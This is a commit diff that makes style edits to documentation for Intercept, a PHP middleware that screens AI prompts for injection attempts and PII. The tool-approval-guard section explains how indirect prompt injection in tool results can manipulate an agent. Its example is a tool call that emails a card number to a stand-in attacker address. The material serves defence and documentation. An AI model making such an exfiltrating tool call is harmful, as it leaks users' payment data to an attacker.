Apply brand tone and writing style fixes

docs/guides/handling-blocked-prompts.mdx

@@ -6,7 +6,7 @@ sidebarTitle: "Handling blocked prompts"
 
 Some Intercept middleware actions stop a prompt before it reaches the AI provider.
 
-When a prompt is blocked, your app should catch the exception and return a safe user-facing response.
+When Intercept blocks a prompt, your app should catch the exception and return a safe user-facing response.
 
 ## Injection Guard exception
 

docs/guides/security-notes.mdx

@@ -14,9 +14,9 @@ Use it as part of a layered AI safety strategy.
 
 Intercept can inspect, redact, block, or modify prompts before they reach the provider.
 
-It cannot guarantee that every unsafe input will be detected.
+It cannot guarantee that it detects every unsafe input.
 
-It cannot guarantee that every sensitive value will be found.
+It cannot guarantee that it finds every sensitive value.
 
 It cannot replace application-level authorization, validation, access control, or tool permission checks.
 
@@ -118,11 +118,11 @@ Two limits are worth knowing.
 
 Resumed prompts are immutable, because a paused turn must replay verbatim against the provider that recorded it. Actions that rewrite the prompt cannot apply, so `redact`, `mask`, `sanitize`, and `warn` degrade to logging on this path. Only blocking genuinely stops the content.
 
-If your threat model requires that PII never reaches the provider, do not rely on `redact` alone. Add the relevant entity types to `block_entities`, or validate the edited arguments in your approval flow before they are submitted.
+If your threat model requires that PII never reaches the provider, do not rely on `redact` alone. Add the relevant entity types to `block_entities`, or validate the edited arguments in your approval flow before you submit them.
 
 ## Safe user-facing errors
 
-When a prompt is blocked, return a simple message.
+When Intercept blocks a prompt, return a simple message.
 
 Good:
 

docs/index.mdx

@@ -32,7 +32,7 @@ Each middleware is fully customisable and can inspect the prompt and decide what
 
 For example, Injection Guard can block prompt injection attempts before the prompt reaches the provider.
 
-PII Redactor can redact emails, phone numbers, IP addresses, and other structured sensitive data before the prompt is sent.
+PII Redactor can redact emails, phone numbers, IP addresses, and other structured sensitive data before the prompt reaches the provider.
 
 ## Current middleware collection
 

docs/middleware/injection-guard.mdx

@@ -420,7 +420,7 @@ Because `sanitize` and `warn` cannot neutralise the content on this path, they l
 
 ### Blocked resumes
 
-When a resumed run is blocked, the exception names the offending tool call and field so the failure can be traced:
+When Injection Guard blocks a resumed run, the exception names the offending tool call and field so you can trace the failure:
 
 ```text
 Prompt injection attempt detected in tool approval decisions [call_7: arguments.filters.note].

docs/middleware/pii-redactor.mdx

@@ -249,7 +249,7 @@ public function middleware(): array
 
 ### Blocking PII
 
-Use `block` when the prompt should stop as soon as supported PII is detected.
+Use `block` when the prompt should stop as soon as the middleware detects supported PII.
 
 ```php
 public function middleware(): array
@@ -262,7 +262,7 @@ public function middleware(): array
 }
 ```
 
-If PII is detected, the middleware throws a `PIIRedactorException`.
+If the middleware detects PII, it throws a `PIIRedactorException`.
 
 <Tip>
     You can also catch `InterceptException`, the parent exception class that all Intercept middleware throw.
@@ -294,7 +294,7 @@ Default blocked entities:
 ]
 ```
 
-This means a prompt containing a supported API key or bearer token will be blocked by default.
+This means the middleware blocks a prompt containing a supported API key or bearer token by default.
 
 You can override blocked entities:
 

docs/middleware/tool-approval-guard.mdx

@@ -14,7 +14,7 @@ Every other Intercept middleware inspects what goes _out_: the prompt, and the t
 
 None of them see what comes _back in_. Tool results, retrieved documents, and conversation history never pass through the middleware pipeline, which is exactly where indirect prompt injection lives.
 
-When an agent is manipulated by content Intercept never saw, the damage almost always surfaces as a tool call:
+When content that Intercept never saw manipulates an agent, the damage almost always surfaces as a tool call:
 
 ```text
 send_email(to: "attacker@example.com", body: "card 4111111111111111")